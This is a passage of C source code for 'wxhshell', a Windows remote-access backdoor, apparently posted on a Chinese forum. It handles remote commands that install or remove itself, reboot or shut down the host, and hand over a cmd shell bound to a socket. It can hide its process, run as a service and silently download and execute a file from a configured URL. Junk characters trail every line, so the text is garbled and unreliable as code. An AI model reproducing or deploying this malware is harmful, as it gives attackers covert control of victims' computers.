    switch(cmd[0]) { |5*:ThC[  
  fz rH}^  
  // 帮助 :MGIp%3  
  case '?': { =/ 19 -Y:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }ok'd=M  
    break; [jTZxH<  
  } )Mh5q&ow  
  // 安装 {"_V,HmEF+  
  case 'i': { ]:Pkh./  
    if(Install()) 1n#{c5T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X3l6b+p  
    else rfOrh^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yJ!,>OQ%'  
    break; <o@__l.  
    } 8O0]hz  
  // 卸载 NZ- 57Ji  
  case 'r': { } A}Vd:#  
    if(Uninstall()) _ 3{8Zg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|3<UR%  
    else 3u'@anre  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F 7X ] h  
    break; 9Yji34eDZ  
    } k"+/DK,:  
  // 显示 wxhshell 所在路径 *enT2Q  
  case 'p': { CL5t6D9Qi  
    char svExeFile[MAX_PATH]; 5oR)  
    strcpy(svExeFile,"\n\r"); C <H$}f  
      strcat(svExeFile,ExeFile); zS `>65}e  
        send(wsh,svExeFile,strlen(svExeFile),0); >(W\Eh{J  
    break; E :UJ"6  
    } j:0< tj E  
  // 重启 ~(eD 4"  
  case 'b': { vH@b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G4"n`89LK  
    if(Boot(REBOOT)) Se [>z(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k!!d2y6  
    else { C+0BV~7J<<  
    closesocket(wsh); )SfM`W)Y  
    ExitThread(0); >ajcfG .k(  
    } D"P<;@ef  
    break; :~~\{fm  
    } =9A!5  
  // 关机 4qyPjAG  
  case 'd': { L]=LY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z )X(  
    if(Boot(SHUTDOWN)) >n5Kz]]%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'?(4 N  
    else { , 1il&  
    closesocket(wsh); ki]i[cdk  
    ExitThread(0); A{gniYqvB`  
    } ,DCrhk  
    break; Olr'n% }  
    } KXcE@q9  
  // 获取shell !{XVaQ?x  
  case 's': { cB2~W%H  
    CmdShell(wsh); ^F-AZP /5F  
    closesocket(wsh); <#lNi.?.  
    ExitThread(0); 6^TWY[z2%  
    break; dbfI!4  
  } Cp#}x1{  
  // 退出 PBAQ KQ  
  case 'x': { 'L2[^iF9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jy0(g T  
    CloseIt(wsh); xgWVxX^)  
    break; D}?JX5.  
    } wArzMt}[  
  // 离开 OJs s  
  case 'q': { n&FRjq9y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -V:7j8  
    closesocket(wsh); 2MDY nMy  
    WSACleanup(); `%=!_|  
    exit(1); ];Y tw6A  
    break; V.w!]{xm  
        } |L6 +e *  
  } VpB+|%@p  
  } *m&(h@l  
jk5C2dy  
  // 提示信息 \5F {MBx !  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U.J/ "}5`T  
} ?DC;Hk<  
  } &FDWlrG g  
=2d h}8Mz  
  return; }1YQ?:@  
} 'l._00yu  
_@sSVh$+  
// shell模块句柄 27UnH: =  
int CmdShell(SOCKET sock) %kiPE<<x  
{ zC!Pb{IaH  
STARTUPINFO si; N)X51;+  
ZeroMemory(&si,sizeof(si)); ,>3|\4/Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Ka :i>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } BnPNc[I  
PROCESS_INFORMATION ProcessInfo; z?(QM:  
char cmdline[]="cmd"; II(P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S[RVk=A1  
  return 0; 8&v%>wxR@  
} {Pe+d3Eoo  
bYy7Ul6]  
// 自身启动模式 p;LF-R  
int StartFromService(void) :JzJ(q/  
{ @BqSu|'Du,  
typedef struct A@n//AZM  
{ n<MreKixE  
  DWORD ExitStatus; M;E$ ]Z9  
  DWORD PebBaseAddress; iuEQ?fp  
  DWORD AffinityMask; d'b q#r  
  DWORD BasePriority; %~qY\>  
  ULONG UniqueProcessId; JPkI+0  
  ULONG InheritedFromUniqueProcessId; kSO:xS0 _N  
}   PROCESS_BASIC_INFORMATION; ?^ `EI}g  
Med0O~T%  
PROCNTQSIP NtQueryInformationProcess; a`zw5  
4"Pf0PD:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; # |,c3$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NV9H"fI  
 ),f d,  
  HANDLE             hProcess; <O]B'Wc [  
  PROCESS_BASIC_INFORMATION pbi; =kn-F T  
\>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jR{Rd}QtQ  
  if(NULL == hInst ) return 0; ]D|Hq4ug  
N"2P]Z r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x: 2 o$+v3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .$"69[1H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \rmge4`4  
2-gI@8NPI  
  if (!NtQueryInformationProcess) return 0; *@[+C~U  
6q~*\KRk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y>PC>  
  if(!hProcess) return 0; &(rR)cG  
D,, x<JG|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M}`G}*  
NU!B|l  
  CloseHandle(hProcess); \m1jV>q  
??=7pFm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oOHr~<  
if(hProcess==NULL) return 0; IsP!ZcV;  
6#1:2ZHKG  
HMODULE hMod; jW_FaPW(p  
char procName[255]; `rI[   
unsigned long cbNeeded; XnV$}T:?X  
3ypf_]<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); firiYL"=44  
Be2yS]U  
  CloseHandle(hProcess); y`-5/4  
CFiO+p&  
if(strstr(procName,"services")) return 1; // 以服务启动 I07_o"3>qr  
)` 90*  
  return 0; // 注册表启动 Ss#UX_DT_  
} IT\ x0b cv  
O_y?53X  
// 主模块 f`8mES'gc8  
int StartWxhshell(LPSTR lpCmdLine) "SN+ ^`  
{ g(F? qP_K  
  SOCKET wsl; >O}J*4A>+#  
BOOL val=TRUE; B;xGTl@8  
  int port=0; %Dm:|><V$b  
  struct sockaddr_in door; /S&8%fb  
K!_''Fg  
  if(wscfg.ws_autoins) Install(); LkIbvJCV  
[5QbE$  
port=atoi(lpCmdLine); nN!R!tJPa  
xsSX~`  
if(port<=0) port=wscfg.ws_port; ^_pJEX  
6*=7ifS  
  WSADATA data; \o{rw0w0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t'L#8MJ  
XpibI3:<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xzTF| Z\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qn|~z@"  
  door.sin_family = AF_INET; nV&v@g4Tt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9U~sRj=D  
  door.sin_port = htons(port); TeWpdUCO  
$(eqZ<y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?<-ins  
closesocket(wsl); oY0`igH  
return 1; 6i_dL|c  
} ;B@-RfP  
,]|*~dd>G  
  if(listen(wsl,2) == INVALID_SOCKET) { *'nZ|r v  
closesocket(wsl); Hnc<)_DF  
return 1; 3eP7vy  
} SjB#"A5  
  Wxhshell(wsl); ]<?7Cp P  
  WSACleanup(); >PMLjXK  
5WG:m'$$  
return 0; 9V( esveq  
?br4 wl  
} [u}2xsSx  
&%`Y>\@f  
// 以NT服务方式启动 /f) #CR0$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) It3.  
{ RTRi{p  
DWORD   status = 0; q X>\*@  
  DWORD   specificError = 0xfffffff; {Qr0pjE7R  
[p[C45d=<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vQIN#;m4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LX_{39?<{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;(,1pi7|  
  serviceStatus.dwWin32ExitCode     = 0; K5SP8<.  
  serviceStatus.dwServiceSpecificExitCode = 0; ?^H1X-;  
  serviceStatus.dwCheckPoint       = 0; Jdp@3mP  
  serviceStatus.dwWaitHint       = 0; o:"^@3  
k=):>}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yCG<qQz  
  if (hServiceStatusHandle==0) return; @%sr#YqY  
1I -LGe[Q  
status = GetLastError(); l9X\\uG&  
  if (status!=NO_ERROR) T&PLvyBL  
{ |8YP8o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {r2fIj~V  
    serviceStatus.dwCheckPoint       = 0; [.`%]Z(  
    serviceStatus.dwWaitHint       = 0;  @M E .  
    serviceStatus.dwWin32ExitCode     = status; njN]0l{p  
    serviceStatus.dwServiceSpecificExitCode = specificError; y:3d`E4Xw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Y=X^"PF  
    return; ,,KGcDBj  
  } iu(+ N~  
#J<IHNRt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {-?8r>  
  serviceStatus.dwCheckPoint       = 0; &\/b(|>  
  serviceStatus.dwWaitHint       = 0; 8x9$6HO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {IpIQ-@l  
} e=%6\&q  
,Y3wXmG  
// 处理NT服务事件,比如:启动、停止 I_h{n{,sr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 81<0B @E  
{ Z 2x%  
switch(fdwControl) :u$+lq  
{ SS/t8Y4W  
case SERVICE_CONTROL_STOP: SJdi*>  
  serviceStatus.dwWin32ExitCode = 0; r9d dVD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t@O4 !mFH  
  serviceStatus.dwCheckPoint   = 0; 9M$N>[og  
  serviceStatus.dwWaitHint     = 0; f8'$Mn,  
  { O#5ll2?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , JUP   
  } p&#*  
  return; b-XC\  
case SERVICE_CONTROL_PAUSE: wuQ>|\Zs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XgmblNp1  
  break; N2x!RYW  
case SERVICE_CONTROL_CONTINUE: Vt!<.8&`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _noQk3N  
  break; \"u3 x.!  
case SERVICE_CONTROL_INTERROGATE: f!"Y"g:@E  
  break; Ft)Z'&L   
}; _%$(D"^j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (s\":5 C  
} 0fd\R_"d.  
U~w g'  
// 标准应用程序主函数 MN22#G4j^w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m*^|9*dIC  
{ 4JD 8w3u/  
GqrOj++>  
// 获取操作系统版本 A|esVUo<3^  
OsIsNt=GetOsVer(); 9IRvbE~2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WZ<kk T  
OLdD3OI  
  // 从命令行安装 ,t]qe  
  if(strpbrk(lpCmdLine,"iI")) Install(); <15POB  
%$l^C!qcY  
  // 下载执行文件 -Jtx9P  
if(wscfg.ws_downexe) { X}5aE4K/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d$G<g78D  
  WinExec(wscfg.ws_filenam,SW_HIDE); @}e'(ju%R  
} DB>Y#2j4h  
{&Bpf K;`)  
if(!OsIsNt) { ;\ $P;-VY  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,OQ!lI_`R  
HideProc(); XT|!XC!|  
StartWxhshell(lpCmdLine); CY4_=  
} |=frsf~?  
else R;XR?59:.  
  if(StartFromService()) dLSnhZ  
  // 以服务方式启动 B az:N 6u  
  StartServiceCtrlDispatcher(DispatchTable); s\`Vr;R:|  
else |;-,(509  
  // 普通方式启动 7Pc0|Z/  
  StartWxhshell(lpCmdLine); Z-{!Z;T)z  
(&6C,O~n^.  
return 0; /I' n]  
}
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只看该作者 1 发表于: 2006-10-10
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